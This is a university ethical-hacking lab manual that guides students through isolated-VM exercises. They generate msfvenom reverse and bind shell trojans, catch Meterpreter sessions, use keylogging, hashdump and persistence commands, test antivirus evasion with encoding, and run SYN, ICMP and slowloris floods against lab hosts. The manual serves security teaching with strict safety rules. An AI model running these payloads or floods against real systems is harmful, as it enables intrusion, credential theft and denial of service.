

CCS6324: Ethical Hacking and Penetration Testing

Week 3 - Lab Manual: Network and Computer Attacks

Lab Duration: 2 hours

Date: Week 3 (17-23 Nov 2025)

Instructor: Hafiz Adnan Hussain

Lab Assessment: Malware Analysis Report (5% - Lab Component)

CRITICAL SAFETY WARNINGS

READ AND ACKNOWLEDGE BEFORE STARTING LAB:

1. **ALL** malware-related activities **MUST** be conducted in isolated virtual machines **ONLY**
2. **NEVER** run malware on your host machine or personal computer
3. **VMs MUST** be on internal/host-only network with **NO** internet access
4. **Take VM snapshots BEFORE** executing any malware
5. **Do NOT** email, share, or upload actual malware files
6. **Do NOT** use malware techniques on unauthorized systems
7. **Follow all instructor guidance and safety procedures**

Violation of these rules may result in:

- Immediate lab dismissal
 - Failing grade for the course
 - Disciplinary action from the university
 - Potential legal consequences
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Lab Objectives

By the end of this lab, students will be able to:

1. Set up a safe, isolated malware analysis environment
 2. Create trojans using msfvenom and understand payload generation
 3. Analyze malware behavior using Process Monitor
 4. Test antivirus detection capabilities
 5. Simulate DoS attacks in controlled environments
 6. Document findings in a professional security report
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Pre-Lab Requirements

Required Software:

- **Kali Linux** (attacker machine)
- **Windows 10** (victim machine for malware analysis)
- **Metasploitable 2** (optional target for DoS testing)
- **VirtualBox or VMware** (virtualization platform)

Required Tools (pre-installed on Kali):

- msfvenom (Metasploit payload generator)
- msfconsole (Metasploit Framework)
- hping3 (DoS testing tool)

Required Tools for Windows 10 VM:

- **Process Monitor** (Sysinternals) - Download from: <https://learn.microsoft.com/en-us/sysinternals/downloads/procmon>
- **Windows Defender** (built-in)
- **Wireshark** (optional, for network analysis)

Network Configuration:

Kali Linux VM: Internal Network (intnet) + NAT (for downloads only)

Windows 10 VM: Internal Network (intnet) ONLY - NO NAT

Metasploitable VM: Internal Network (intnet) ONLY

All VMs should be able to ping each other, but NOT access the internet

Lab Exercise 1: Environment Setup and Verification (20 minutes)

1.1 Configure Network Settings

On VirtualBox/VMware:

1. **Create Internal Network:**
 - Settings → Network → Adapter 1
 - Attached to: Internal Network
 - Name: `labnet` (or any consistent name)
2. **Configure IP Addresses:**

Kali Linux:

bash

```
sudo ifconfig eth0 192.168.100.10 netmask 255.255.255.0
```

Windows 10:

- Settings → Network → Change adapter options
- Right-click adapter → Properties → IPv4
- IP: 192.168.100.20
- Subnet: 255.255.255.0
- Gateway: (leave blank)
- DNS: (leave blank)

3. Verify Connectivity:

bash

From Kali

```
ping 192.168.100.20
```

From Windows (Command Prompt)

```
ping 192.168.100.10
```

1.2 Take Clean Snapshots

Before proceeding, take snapshots of all VMs:

- VirtualBox: Machine → Take Snapshot → Name: "Clean_Week3_Lab"
- VMware: VM → Snapshot → Take Snapshot

This allows you to revert to clean state after malware execution.

1.3 Disable Windows Defender (Temporarily for Lab)

On Windows 10 VM:

1. Settings → Update & Security → Windows Security
2. Virus & threat protection → Manage settings
3. Turn OFF:
 - Real-time protection
 - Cloud-delivered protection
 - Automatic sample submission

Note: We'll re-enable this later for detection testing.

Lab Exercise 2: Creating Trojans with msfvenom (30 minutes)

2.1 Understanding msfvenom

msfvenom is a payload generator that combines msfpayload and msfencode. It creates malicious payloads in various formats.

Basic Syntax:

bash

```
msfvenom -p <payload> LHOST=<attacker_ip> LPORT=<port> -f <format> -o <output_file>
```

2.2 Create Windows Reverse Shell Payload

On Kali Linux:

bash

Create a simple reverse shell executable

```
msfvenom -p windows/meterpreter/reverse_tcp \  
LHOST=192.168.100.10 \  
LPORT=4444 \  
-f exe \  
-o ~/malware_lab/payload1.exe
```

View payload information

```
file ~/malware_lab/payload1.exe  
ls -lh ~/malware_lab/payload1.exe
```

Expected Output:

```
[-] No platform was selected, choosing Msf::Module::Platform::Windows  
[-] No arch selected, selecting arch: x86  
No encoder specified, outputting raw payload  
Payload size: 354 bytes  
Final size of exe file: 73802 bytes  
Saved as: payload1.exe
```

2.3 Create Multiple Payload Types

Create different payload formats for comparison:

bash

1. Windows 64-bit payload

```
msfvenom -p windows/x64/meterpreter/reverse_tcp \  
LHOST=192.168.100.10 \  
LPORT=4444 \  

```

```
-f exe \  
-o ~/malware_lab/payload_x64.exe
```

2. Encoded payload (obfuscation attempt)

```
msfvenom -p windows/meterpreter/reverse_tcp \  
LHOST=192.168.100.10 \  
LPORT=4444 \  
-e x86/shikata_ga_nai \  
-i 5 \  
-f exe \  
-o ~/malware_lab/payload_encoded.exe
```

3. Bind shell (listens on victim machine)

```
msfvenom -p windows/meterpreter/bind_tcp \  
LPORT=4444 \  
-f exe \  
-o ~/malware_lab/payload_bind.exe
```

4. PowerShell payload (fileless)

```
msfvenom -p windows/x64/meterpreter/reverse_tcp \  
LHOST=192.168.100.10 \  
LPORT=4444 \  
-f psh \  
-o ~/malware_lab/payload.ps1
```

2.4 Set Up Metasploit Listener

On Kali Linux:

```
bash
```

Start Metasploit console

```
msfconsole
```

In msfconsole:

```
use exploit/multi/handler  
set payload windows/meterpreter/reverse_tcp  
set LHOST 192.168.100.10  
set LPORT 4444  
set ExitOnSession false  
exploit -j -z
```

Keep this terminal open - it will catch connections from executed payloads.

2.5 Transfer Payload to Windows VM

Option 1: Shared Folder (Recommended)

- Configure shared folder in VM settings
- Copy payload to shared location

Option 2: Python HTTP Server

bash

On Kali (make sure to add NAT adapter temporarily)

`cd ~/malware_lab`

`python3 -m http.server 8080`

On Windows, open browser and download:

`http://192.168.100.10:8080/payload1.exe`

Option 3: USB passthrough or direct file transfer via VM tools

Lab Exercise 3: Malware Behavior Analysis with Process Monitor (40 minutes)

3.1 Install and Configure Process Monitor

1. Download Process Monitor on Windows VM from: <https://learn.microsoft.com/en-us/sysinternals/downloads/procmon>
2. Extract and run `Procmon.exe` (or `Procmon64.exe`)
3. **Before running malware**, configure filters:

Filter Configuration:

- Filter → Filter → Add these filters:
 - Process Name → is → `payload1.exe` → Include
 - Operation → begins with → Reg → Include (registry operations)
 - Operation → is → `CreateFile` → Include
 - Operation → is → `TCP Connect` → Include
- 4. Click **OK** to apply filters
- 5. Clear current events: Edit → Clear Display

3.2 Capture Baseline (Before Execution)

1. Take note of current running processes (Task Manager)

2. Check registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
3. Document open network connections:

cmd

netstat -ano

3.3 Execute Payload and Monitor Behavior

⚠ SAFETY CHECK:

- VM is on internal network only? ✓
- Snapshot taken? ✓
- Process Monitor running? ✓

Execute the payload:

1. Double-click `payload1.exe` on Windows VM
2. Immediately observe Process Monitor activity
3. Check Metasploit listener on Kali for connection

On Kali (msfconsole), you should see:

[*] Meterpreter session 1 opened (192.168.100.10:4444 -> 192.168.100.20:xxxxx)

3.4 Analyze Captured Behavior

In Process Monitor, observe:

1. **File System Activity:**
 - Look for file creation/modification
 - Check for dropped files in Temp directories
 - Note any suspicious file operations
2. **Registry Activity:**
 - Persistence mechanisms (Run keys, services)
 - Configuration changes
 - Registry keys created/modified
3. **Network Activity:**
 - Outbound connections
 - Destination IP and port
 - Protocol used

Save Process Monitor logs:

- File → Save → Choose "All events" → Save as `payload1_procmon.PML`
- Also export to CSV: File → Save → Choose CSV format

3.5 Interact with Meterpreter Session

On Kali (in msfconsole):

```
bash
# List active sessions
sessions -l

# Interact with session
sessions -i 1

# Meterpreter commands to explore:
sysinfo          # System information
getuid           # Current user
ps               # List processes
pwd              # Current directory
screenshot       # Take screenshot
keyscan_start    # Start keylogger
keyscan_dump     # Dump captured keystrokes
hashdump         # Dump password hashes (requires privilege escalation)

# File operations
download C:\\Users\\Public\\Desktop\\target_file.txt
upload /root/tool.exe C:\\Temp\\

# Persistence
run persistence -X -i 10 -p 4444 -r 192.168.100.10

# Clean up and exit
sessions -K      # Kill all sessions
exit
```

3.6 Document Findings

Create a detailed analysis table:

Category	Observation	Details
Network	Connection established	IP: 192.168.100.10, Port: 4444
Process	payload1.exe running	PID: [record], Parent: explorer.exe
Files	Created files	[List locations]
Registry	Persistence key added	HKLM...\Run[key_name]
Behavior	What it did	Opened backdoor, captured keystrokes, etc.

Lab Exercise 4: Antivirus Detection Testing (30 minutes)

4.1 Restore Clean Windows VM

1. Revert to snapshot: "Clean_Week3_Lab"
2. Boot Windows VM
3. Verify Windows Defender is ENABLED

4.2 Test Unencoded Payload

Copy payload1.exe to Windows VM:

Expected Result: Windows Defender should detect and quarantine it immediately.

Document:

- Detection time (immediate/delayed?)
- Threat name identified by Windows Defender
- Action taken (quarantine/delete)

View Windows Defender logs:

- Windows Security → Virus & threat protection → Protection history

4.3 Test Encoded Payload

Repeat test with `payload_encoded.exe`:

Observations:

- Was it detected?
- How long before detection?
- Detection rate comparison

4.4 VirusTotal Analysis (Hash Only!)

 **CRITICAL:** Upload HASH only, NOT the actual file!

On Kali:

bash

Generate file hashes

md5sum ~/malware_lab/payload1.exe

sha256sum ~/malware_lab/payload1.exe

Visit VirusTotal: <https://www.virustotal.com>

1. Go to "Search" tab

2. Enter the SHA256 hash
3. Analyze detection rates

Document:

- Number of AV engines detecting it
- Detection ratio (e.g., 45/70)
- Most common threat names
- Which vendors detected it?

4.5 Evasion Techniques Discussion

Research and document common evasion methods:

- Encoding/encryption
- Obfuscation
- Packing/compression
- Polymorphic code
- Process injection
- Fileless malware (memory-only)

Lab Exercise 5: DoS Attack Simulation (40 minutes)

5.1 Set Up Target (Metasploitable VM)

Configure Metasploitable:

- IP: 192.168.100.30
- Network: Internal (intnet)
- Verify web server running:
 - From Kali: `curl http://192.168.100.30`

5.2 Baseline Performance Measurement

On Kali, measure normal response:

bash

Measure HTTP response time

`time curl http://192.168.100.30`

Ping test

`ping -c 10 192.168.100.30`

Connection test

`nc -zv 192.168.100.30 80`

Record baseline metrics:

- Average ping time: _____ ms
- HTTP response time: _____ seconds
- Server responding: Yes/No

5.3 SYN Flood Attack

Using hping3 on Kali:

bash

SYN flood attack (moderate intensity)

`sudo hping3 -S -p 80 --flood --rand-source 192.168.100.30`

What this does:

- `-s`: Send SYN packets
- `-p 80`: Target port 80 (HTTP)
- `--flood`: Send packets as fast as possible
- `--rand-source`: Randomize source IPs (spoofing)

Monitor Impact:

In another Kali terminal:

bash

Try to access web server during attack

`curl http://192.168.100.30`

Ping during attack

`ping 192.168.100.30`

On Metasploitable (if accessible):

bash

View connection states

`netstat -an | grep :80 | wc -l`

Monitor CPU/memory

`top`

Document observations:

- Server response time during attack
- Connection success rate
- Resource consumption

STOP THE ATTACK:

bash

Press CTRL+C in hping3 terminal

5.4 ICMP Flood (Ping Flood)

bash

ICMP flood attack

`sudo hping3 --icmp --flood 192.168.100.30`

Monitor and document:

- Bandwidth consumption
- Ping response time
- Service availability

Stop attack after 30 seconds.

5.5 HTTP GET Flood (Application Layer)

Using slowhttptest (install if needed):

bash

Install slowhttptest

`sudo apt-get install slowhttptest -y`

Slowloris attack

`slowhttptest -c 200 -H -g -o slowloris_results -i 10 -r 200 -t GET -u http://192.168.100.30 -x 24 -p 3`

Parameters:

- `-c 200`: 200 connections
- `-H`: Slowloris mode
- `-i 10`: 10-second interval
- `-r 200`: connections per second

Alternative - Simple HTTP flood with curl:

bash

Bash script for HTTP flood

`while true; do curl http://192.168.100.30 & done`

Monitor server during attack.

Stop all attacks and allow server to recover.

5.6 DoS Mitigation Discussion

Document potential defenses:

- Rate limiting
 - SYN cookies
 - Connection timeouts
 - Firewall rules
 - IDS/IPS detection
 - DDoS mitigation services (Cloudflare, Akamai)
 - Network capacity planning
-

Lab Exercise 6: Physical Security Demonstration (20 minutes)

6.1 Hardware Keylogger Identification

Instructor will demonstrate or show images of:

- PS/2 keyloggers
- USB keyloggers
- Wireless keyloggers

Student activity:

- Inspect classroom computers for any suspicious hardware
- Document visual indicators to look for
- Discuss detection methods

6.2 Boot-based Attack Demonstration

Instructor demonstration (or guided walkthrough):

1. Boot Windows VM from Kali Linux ISO (or Ophcrack)
2. Show how boot-based tools bypass Windows security
3. Demonstrate password reset or hash extraction
4. Discuss importance of:
 - BIOS/UEFI passwords
 - Boot order restrictions
 - Full disk encryption (BitLocker)
 - Physical access controls

6.3 USB Drop Attack Awareness

Discussion:

- Dangers of unknown USB devices
 - BadUSB attacks
 - Rubber Ducky attacks
 - Defense mechanisms:
 - User training
 - Disable AutoRun
 - USB port blocking
 - Endpoint protection
-

Lab Exercise 7: Clean Up and System Restoration (10 minutes)

7.1 Stop All Malicious Processes

On Windows VM:

1. Open Task Manager
2. Kill `payload1.exe` or any meterpreter processes
3. Check for persistence:
 - Registry Run keys
 - Scheduled tasks
 - Services

7.2 Restore from Snapshots

For each VM:

1. Power off VM
2. Restore snapshot: "Clean_Week3_Lab"
3. Power on and verify clean state

7.3 Re-enable Security Features

On Windows VM (if not restoring snapshot):

- Re-enable Windows Defender
- Update virus definitions
- Run full system scan

7.4 Save Lab Evidence

Ensure you have saved:

- Process Monitor logs (PML and CSV)
- Screenshots of attacks
- Command history

- Network captures (if using Wireshark)
 - Notes and observations
-

Post-Lab Assignment: Malware Analysis Report (5%)

Assignment Overview

Objective: Document your malware analysis findings in a professional security report.

Submission Deadline: End of Week 4 (30 Nov 2025)

Format: PDF document

Length: 8-12 pages

Weightage: 5% of total grade

Report Structure and Requirements

1. Executive Summary (1 page) - 10 points

Content:

- Brief overview of lab objectives
- Summary of key findings
- Major security implications
- Recommendations (2-3 key points)

Requirements:

- Written for non-technical audience
 - Concise and clear
 - Highlights critical findings
-

2. Lab Environment Setup (1 page) - 10 points

Content:

- Network topology diagram
- VM configurations (IPs, OS versions)
- Tools used (with versions)
- Safety measures implemented

Include:

- Network diagram (can be simple)
- Table of VM specifications
- Screenshots of network configuration verification

3. Malware Analysis Section (4-5 pages) - 40 points

3.1 Payload Generation (10 points)

Document:

- msfvenom commands used (all 4 variants)
- Payload specifications (size, encoding, architecture)
- Comparison table of different payloads

Required table format:

Payload Name	Type	Size	Encoding	Architecture	Purpose
payload1.exe	Reverse TCP	73KB	None	x86	Standard test
payload_x64.exe	Reverse TCP	XX KB	None	x64	64-bit test
etc.					

3.2 Behavioral Analysis (15 points)

Document with screenshots:

- Process Monitor output analysis
- File system modifications (with paths)
- Registry changes (with keys)
- Network connections established
- Persistence mechanisms discovered

Include:

- Annotated Process Monitor screenshots
- Timeline of malware execution
- Analysis of each behavioral category

3.3 Meterpreter Interaction (10 points)

Document:

- Commands executed in Meterpreter session
- Results of each command (with screenshots)
- Data exfiltration capabilities demonstrated
- Privilege level achieved
- Persistence mechanisms tested

3.4 Cleanup and Indicators of Compromise (IoCs) (5 points)

List all IoCs discovered:

- File paths of dropped files
- Registry keys created
- Network indicators (IP:Port)
- Process names
- Behavioral indicators

Format as IoC table:

IoC Type	Indicator	Description
File	C:\Temp\payload1.exe	Malicious executable
Registry	HKLM...\Run[name]	Persistence mechanism
Network	192.168.100.10:4444	C2 connection

4. Antivirus Detection Testing (2 pages) - 20 points

4.1 Detection Results (10 points)

Create comparison table:

Payload	Windows Defender	VirusTotal Ratio	Detection Time	Threat Name
payload1.exe	Detected	45/70	Immediate	Trojan:Win32/...
payload_encoded.exe	Not Detected	12/70	N/A	-

Include:

- Screenshots of Windows Defender alerts
- VirusTotal scan results (screenshots)
- Analysis of detection patterns

4.2 Evasion Techniques Analysis (10 points)

Discuss:

- Why encoding reduced detection
 - Limitations of signature-based detection
 - How behavioral analysis could detect it
 - Other evasion techniques researched
-

5. DoS Attack Analysis (2 pages) - 15 points

5.1 Attack Documentation (10 points)

For each attack type (SYN flood, ICMP flood, HTTP flood):

Create results table:

Attack Type	Command Used	Duration	Baseline Response	During Attack	Impact Level
SYN Flood	hping3 -S...	60 sec	50ms	Timeout	High
ICMP Flood	hping3 --icmp...	30 sec	45ms	500ms+	Moderate

Include:

- Screenshots of attacks in progress
- netstat output showing connection states
- Performance metrics

5.2 Mitigation Strategies (5 points)

Discuss:

- Technical countermeasures for each attack type
- Network architecture recommendations
- IDS/IPS rules that would detect these attacks
- Rate limiting and filtering strategies

6. Physical Security Analysis (1 page) - 5 points

Content:

- Keylogger identification techniques
- Boot-based attack risks
- Physical access control recommendations
- USB security policies

Include:

- Photos/screenshots from demonstrations
- Checklist for physical security inspection

Grading Rubric

Total: 100 points = 5% of course grade

Section	Points	Criteria
Executive Summary	10	Clarity, conciseness, key findings highlighted
Environment Setup	10	Complete documentation, clear diagrams
Malware Analysis	40	Thorough analysis, screenshots, IoCs
- Payload Generation	10	All payloads documented, comparison provided
- Behavioral Analysis	15	Detailed Process Monitor analysis, categorized findings
- Meterpreter Interaction	10	Commands documented with results
- IoCs	5	Complete IoC list in proper format
AV Detection	20	Testing results, evasion analysis
DoS Analysis	15	Attack documentation, mitigation discussion
Physical Security	5	Comprehensive analysis
TOTAL	100	

Additional Grading Criteria:

Formatting & Professionalism (deductions):

- Proper report structure: -5 if missing
- Screenshots properly labeled: -2 per unlabeled screenshot (max -10)
- Tables formatted correctly: -3 per poorly formatted table
- Grammar and spelling: -5 for excessive errors
- Citations and references: -5 if missing sources

Technical Accuracy:

- Incorrect technical explanations: -5 per error
- Missing critical information: -10
- Fabricated results: -100 (automatic fail)

Completeness:

- Missing required sections: -10 per section
- Incomplete analysis: -5 to -15 depending on severity

Submission Guidelines

File Format:

- **PDF only** (no Word documents)
- **Filename:** CCS6324_Week3_Lab_StudentID_Name.pdf
- **Example:** CCS6324_Week3_Lab_1234567_JohnDoe.pdf

Submission Method:

- Upload to university LMS (Moodle/Canvas)
- Submission deadline: **30 Nov 2025, 23:59**
- Late submissions: -10% per day (max 3 days)

Required Contents:

1. Complete report (PDF)
2. Process Monitor logs (PML file) - if file size permits
3. Screenshots folder (ZIP if separate)

File size limit: 50MB total

Lab Safety Checklist

Before leaving lab, verify:

- All VMs restored to clean snapshots
 - No malware files remain on host machine
 - Lab evidence saved to secure location
 - All attack tools/processes stopped
 - Network configurations reset
 - You understand what was learned
 - You can explain findings to instructor
-

Additional Resources

Malware Analysis:

- **Practical Malware Analysis** by Michael Sikorski
- **Process Monitor documentation:** <https://learn.microsoft.com/en-us/sysinternals/downloads/procmon>
- **MITRE ATT&CK Framework:** <https://attack.mitre.org>

Metasploit Resources:

- **Official Documentation:** <https://docs.metasploit.com>
- **Metasploit Unleashed:** <https://www.offensive-security.com/metasploit-unleashed/>
- **msfvenom cheat sheet:** Available on Kali Linux documentation

DoS/DDoS:

- **hping3 man page:** `man hping3`
- **Cloudflare DDoS reports:** <https://www.cloudflare.com/learning/ddos/>
- **NIST Guidelines on DDoS:** <https://www.nist.gov>

VirusTotal:

- **VirusTotal API:** <https://www.virustotal.com/gui/home/upload>
 - **How to read results:** <https://support.virustotal.com>
-

Frequently Asked Questions (FAQ)

Q1: Can I use my own malware samples for analysis?

A: NO. Only use instructor-provided samples or payloads you generate in the lab. Never bring unknown malware into the lab environment.

Q2: What if Windows Defender doesn't detect my payload?

A: Document this finding! It's an important observation about detection limitations. Discuss why it might have evaded detection.

Q3: Can I test DoS attacks against real websites?

A: ABSOLUTELY NOT. Only attack lab VMs on the internal network. Attacking external systems is illegal and will result in serious consequences.

Q4: What if I accidentally executed malware on my host machine?

A: Immediately notify the instructor, disconnect from network, and run a full antivirus scan. This is why we emphasize VM usage!

Q5: How detailed should my Process Monitor analysis be?

A: Focus on significant events: file creation, registry modifications, network connections. You don't need to document every single event (there will be thousands), but categorize and highlight important patterns.

Q6: Can I work in groups for the lab?

A: You can work together during the lab session, but the report must be individual work with your own analysis and observations.

Q7: What if my VM crashes or becomes corrupted?

A: This is why we take snapshots! Restore from snapshot and repeat the exercise. If you have persistent issues, ask the instructor for assistance.

Q8: Should I include the actual malware files in my submission?

A: NO! Only include hashes, screenshots, and analysis. Never submit actual malware executables.

Academic Integrity Statement

This lab involves creating and analyzing malware for educational purposes only. Students must:

- Use techniques ONLY in the controlled lab environment
- Never deploy these techniques against unauthorized systems
- Respect the ethical boundaries of security research
- Report any accidental policy violations immediately
- Acknowledge any external resources used

Plagiarism Policy: Reports must be your own work. Copying from classmates or online sources without citation will result in zero marks and disciplinary action.

Instructor Contact

Lab Assistance:

- Office Hours: [Days and Times]
- Email: [instructor@mmu.edu.my]
- Lab TA: [TA Name and Contact]

Emergency Contact: If you discover any security issues or have concerns about safety procedures during the lab, contact the instructor immediately.

Lab Completion Sign-Off

Student Declaration:

I, _____ (Student Name), Student ID:
_____,

Hereby declare that:

- I have completed all lab exercises
- I understand the safety procedures
- I will only use these techniques ethically and legally
- I have restored all VMs to clean state
- I have saved all required lab evidence

Student Signature: _____

Date: _____

Instructor Verification:

Lab completion verified by: _____

Date: _____

END OF LAB MANUAL

Stay curious. Stay ethical. Stay safe.